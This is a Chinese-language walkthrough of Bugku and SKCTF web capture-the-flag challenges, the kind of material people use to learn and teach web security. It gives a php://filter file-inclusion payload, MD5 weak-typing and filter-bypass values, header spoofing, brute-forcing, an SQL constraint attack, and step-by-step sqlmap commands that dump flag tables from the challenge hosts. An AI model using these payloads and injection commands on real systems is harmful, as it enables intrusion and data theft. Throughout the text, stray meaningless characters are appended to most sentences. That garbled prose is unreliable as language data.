Web4
考察查看網(wǎng)頁源代碼和escape編碼的解碼
提示“看看源代碼吧”,所以看了一下源代碼茁计,發(fā)現(xiàn)一段JavaScript腳本。不過這段腳本好像是錯的,所以直接運行的話運行不了是偷。
把它稍微改一改就可以運行了,運行后得到一段JavaScript代碼亡驰,當(dāng)然也可以選擇不運行晓猛,直接解碼那些內(nèi)容,也可以得到這些代碼凡辱。
這段代碼如下:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof(a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return 0;
alert("Error");
a.focus();
return 1;
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
大概意思就是:定義一個函數(shù)checkSubmit戒职,要求傳入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1透乾,就彈框“error”洪燥,如果正確的話應(yīng)該就拿到flag。
關(guān)于這段代碼的含義可以參考一下我的JavaScript筆記乳乌,雖然有些我還沒學(xué)到捧韵,不過大概意思可以看得懂。
在輸入框中輸入“”67d709b2b54aa2aa648cf6e87a7114f1”汉操,得到flag再来。
flag在index里
考察使用PHP內(nèi)部協(xié)議讀取網(wǎng)頁源代碼
打開看到一個鏈接。
點進(jìn)去一看只有test5,但是發(fā)現(xiàn)了“file=show.php”芒篷。
這道題是在做了HGAME2019的week2之后做的搜变。有了做HGAME的經(jīng)驗很容易就知道這是一個文件包含漏洞,可以通過PHP內(nèi)置協(xié)議直接暴露index.php的源代碼针炉。
構(gòu)造?file=php://filter/read=convert.base64-encode/resource=index.php
成功暴露源代碼挠他。
用hackbar插件進(jìn)行BASE64解碼得到flag。
輸入密碼查看flag
考察使用Burp Suite爆破
提示密碼為五位數(shù)字篡帕,所以考慮爆破(題目鏈接也提示了要爆破……)殖侵。
抓包。
設(shè)置Positions和Payloads镰烧。
開始爆破拢军,密碼為13579時返回信息有變化,查看響應(yīng)得到flag拌滋。
點擊一百萬次
考察查看網(wǎng)頁源代碼和POST請求提交數(shù)據(jù)
提示了JavaScript朴沿,打開網(wǎng)頁源代碼果然看到了JavaScript代碼。
大概意思就是當(dāng)clicks大于等于1000000時就會得到flag败砂,所以用hackbar直接post:clicks=1000000赌渣,拿到flag。
備份是個好習(xí)慣
考察.bak文件和代碼審計昌犹。
打開之后只有兩串一樣的MD5坚芜,而且都是空密碼。
卡在這里很久斜姥,后來突然知道了.bak文件鸿竖,于是嘗試打開index.php.bak。
后綴名為bak的文件是備份文件铸敏,修改了原文件的內(nèi)容后缚忧,保存了修改后的內(nèi)容,那么修改前的內(nèi)容會自動保存為后綴名為bak的備份文件(前提是設(shè)置了備份功能)杈笔,如果想查看或者恢復(fù)修改前的內(nèi)容闪水,就需要用到bak文件。
(來自百度知道)
果然有這個文件:
下載下來之后用記事本打開蒙具,發(fā)現(xiàn)一些php代碼:
查看代碼后發(fā)現(xiàn)要求傳入key1和key2兩個參數(shù)球榆,要求值不同而MD5加密后相同。由于只有兩個等號所以考慮用弱類型繞過禁筏。
但是持钉,str_replace('key','',$str)這一句會過濾掉key,所以構(gòu)造一個雙寫來繞過篱昔。
綜合起來Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a
提交一下得到flag每强。
成績單
最基本的SQL注入題,用sqlmap做或者手動都可以。我這里是用了sqlmap空执。
方法是post窘茁,參數(shù)是id。
檢測注入點:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"
找到了注入點脆烟,也就是id。
接下來就是按照套路來:
爆庫:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs
可以看到有兩個數(shù)據(jù)庫房待,flag應(yīng)該在skctf_flag里邢羔。
爆表:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables
flag應(yīng)該在fl4g這個表里。
爆字段名:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns
只有一個字段桑孩,那這個肯定就是flag了拜鹤。
爆字段:
python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump
拿到了flag。
秋名山老司機(jī)
做這道題需要寫具有自動讀取流椒、計算敏簿、自動提交功能的Python腳本。因為需要用正則表達(dá)式匹配算式宣虾,還要有自動請求和自動提交功能惯裕,所以要用到re庫和request庫。
打開刷新幾下會出現(xiàn)這樣的提示绣硝,即要傳入名為value的變量蜻势,value的值如果是答案的話就可以得到flag。
兩秒的話肯定不能手算鹉胖,就用寫腳本的方法來解決握玛。思考了一下寫出來的腳本應(yīng)該有這樣的功能:
1.請求給定的url;2.提取頁面中的文字信息甫菠;3.將文字信息中的算式提取出來挠铲;4.計算這個算式并且得到結(jié)果;5.自動提交結(jié)果寂诱。
而且整個腳本的運行時間不能大于兩秒(雖然Python比C慢拂苹,但是這個一般都沒問題吧……)。
因為算式在<div></div>里刹衫,所以可以直接上正則提取出它們之間的東西醋寝,再去等號和問號變成純算式,再用eval()函數(shù)計算結(jié)果带迟。不用正則的話音羞,用BeautifulSoup也可以。
根據(jù)前面所想的功能編寫腳本:
ps:自己剛學(xué)Python四天仓犬,接觸正則表達(dá)式的時間更短嗅绰,代碼力還不行,寫出來的正則表達(dá)式總是報錯或者匹配不出來,所以正則表達(dá)式提取<div></div>之間的算式那一句參考了別人的寫法窘面,自己只是加上了過濾等號和問號的部分翠语。
import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session() #使用Session參數(shù)是為了防止提交答案時算式更新
r = s.get(url) #提取頁面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0] #正則表達(dá)式提取<div></div>之間的算式
result = eval(b) #計算算式得到結(jié)果
post = {'value': result} #提交結(jié)果
print(s.post(url, data = post).text)
執(zhí)行腳本之后有一定幾率拿到flag,不知道為什么不可以100%成功财边。
總結(jié):正則表達(dá)式真難……
其余的目前還沒有全部做完肌括,做完了的如下圖所示,沒做完的那些等以后做完再新開一篇文章補(bǔ)上酣难。
never give up
考察view-source查看網(wǎng)頁源代碼和escape編碼的解碼
頁面里沒什么有用的信息谍夭,查看網(wǎng)頁源代碼發(fā)現(xiàn)一條注釋:
訪問了一下這個頁面,發(fā)現(xiàn)跳轉(zhuǎn)到了Bugku的首頁憨募,那么這個1p.html的網(wǎng)頁源代碼里肯定有信息紧索,使用view-source查看即可。
發(fā)現(xiàn)一串編碼過的字符菜谣,下面的unescape()函數(shù)提示這是escape編碼:
這段JS應(yīng)該是可以執(zhí)行的珠漂,不過我還沒試,反正執(zhí)行也是解碼尾膊,就直接解碼了媳危。
解碼,發(fā)現(xiàn)解碼出來的信息里有個f4l2a3g.txt眯停,應(yīng)該就是flag所在的頁面济舆。
這段文字Urldecode之后應(yīng)該還能出現(xiàn)信息,不過訪問了f4l2a3g.txt之后就拿到flag了莺债,也沒想那么多滋觉。
拿到flag。
前女友(SKCTF)
最簡單的PHP弱類型利用
查看網(wǎng)頁源代碼發(fā)現(xiàn)鏈接齐邦,打開鏈接看到代碼椎侠。
要求傳入v1,v2,v3三個參數(shù),其中v1和v2的值不同但MD5加密后的值相同措拇,v3(數(shù)組或字符串)與flag的值不同我纪。
考慮到PHP弱類型:PHP在處理MD5加密后的字符串時,它把每一個以“0e”開頭的值都解釋為0^e(就是0)丐吓,所以如果兩個不同的字符串經(jīng)過MD5加密以后浅悉,都是以“0e”開頭的,那么PHP將會認(rèn)為他們相同券犁。所以構(gòu)造v1=QNKCDZO&v2=240610708&v3[]=1术健,提交得到flag。
login1(SKCTF)
考察基于約束的SQL攻擊粘衬。
在前幾天翻大佬們的博客時看到過這道題的wp荞估,不過當(dāng)時沒仔細(xì)看咳促,結(jié)果剛看完就做到這道題了……
百度了一下“SQL約束攻擊”,讀完這篇文章之后有了解題思路:https://www.freebuf.com/articles/web/124537.html
打開頁面勘伺,如果隨便注冊的話會提示不是admin拿不到flag跪腹。
所以,根據(jù)上面那篇文章中提到的飞醉,為了入侵admin的賬戶冲茸,使用admin加隨意多的空白符注冊即可:
注冊成功后使用剛才注冊的用戶名登錄:
拿到flag:
你從哪里來
考察的是請求頭中Referer參數(shù)的使用。
打開鏈接看到一句話:
本以為是要在請求頭中添加X-Forwarded-For:(谷歌的ip地址)缅帘,但是試過了發(fā)現(xiàn)沒有用噪裕。考慮到請求頭中的Referer參數(shù)的作用是:代表當(dāng)前訪問URL的上一個URL股毫,也就是說,用戶是從什么地方來到本頁面(摘自《Web安全深度剖析》)召衔,使用Hackbar中的Referer功能設(shè)置Referer參數(shù)的值為“https://www.google.com”铃诬,發(fā)送請求得到flag。
md5 collision(NUPT_CTF)
考察利用PHP弱類型繞過md5驗證苍凛。
什么提示也沒有趣席,只有input a,聯(lián)想到題目叫md5碰撞醇蝴,應(yīng)該是利用弱類型繞過md5驗證宣肚。
用QNKCDZO試了下發(fā)現(xiàn)不行。
換了另一個md5加密后0e開頭的悠栓,得到flag霉涨。
程序員本地網(wǎng)站
考察的是請求頭中的X-Forwarded-For參數(shù)。
本地惭适,也就是127.0.0.1笙瑟。
在請求頭中添加“X-Forwarded-For: 127.0.0.1”,發(fā)送請求得到flag癞志。
各種繞過
很基礎(chǔ)的代碼審計往枷,考察數(shù)組繞過sha1()函數(shù)、URL二次解碼繞過
要提交三個參數(shù):uname凄杯、passwd错洁、id。其中uname和id是GET方式提交戒突,passwd是POST方式提交屯碴。要求uname和passwd在sha1()函數(shù)加密后相等,但是這里是用全等于判斷的妖谴,所以不能用弱類型繞過窿锉。
id在urldecode之后要等于margin酌摇,所以需要構(gòu)造一個URL二次解碼繞過。
構(gòu)造如下:
提交一下得到flag嗡载。
細(xì)心
考察查看robots.txt
打開一看發(fā)現(xiàn)一個意義不明的404頁面窑多,于是想到看robots.txt。
打開之后果然有了發(fā)現(xiàn)洼滚。
進(jìn)去一看埂息,說不是管理員,ip被記錄了(而且還把我的ip暴露出來了)遥巴。
同時還發(fā)現(xiàn)底下有一句代碼千康。
提示說想辦法變成admin。一般來說提示不是管理員都是改Cookie铲掐,但是既然底下有這句代碼拾弃,那么就先傳入?x=admin試試。
還真行摆霉,拿到flag了豪椿。
這個頁面里的ip和時間應(yīng)該都是其他師傅的,往下翻了翻還看到了自己的ip和時間携栋,囧玄坦。
而且這個flag居然不是花括號伴嗡,搞得我以為這里有坑痴昧,還要改成花括號或者這就是個假flag痢毒,結(jié)果直接交上去就對了,果然是我想太多了……
這是一個神奇的登陸框
考察SQL注入向挖,用sqlmap輕松搞定蝌以。
進(jìn)去一看是個登錄頁面,而且題目地址也寫了“sql”何之,那應(yīng)該是sql注入饼灿。
隨便寫點什么提交一下,發(fā)現(xiàn)提交方式是post帝美,請求主體是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”
通過前面測試DVWA的漏洞和做一些sql注入題碍彭,我已經(jīng)知道接下來是sqlmap出場的時間了(笑)。
先找一下注入點:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch
注入點是admin_name悼潭。
爆庫:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs
發(fā)現(xiàn)了兩個數(shù)據(jù)庫庇忌。flag應(yīng)該在第一個數(shù)據(jù)庫里。
爆表:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables
有兩個表舰褪。flag應(yīng)該在flag1里皆疹。
爆字段名:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns
這應(yīng)該就是flag了。
最后爆字段:
python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump
這串MD5應(yīng)該就是flag占拍。
加上flag{}格式略就,就得到真正的flag捎迫。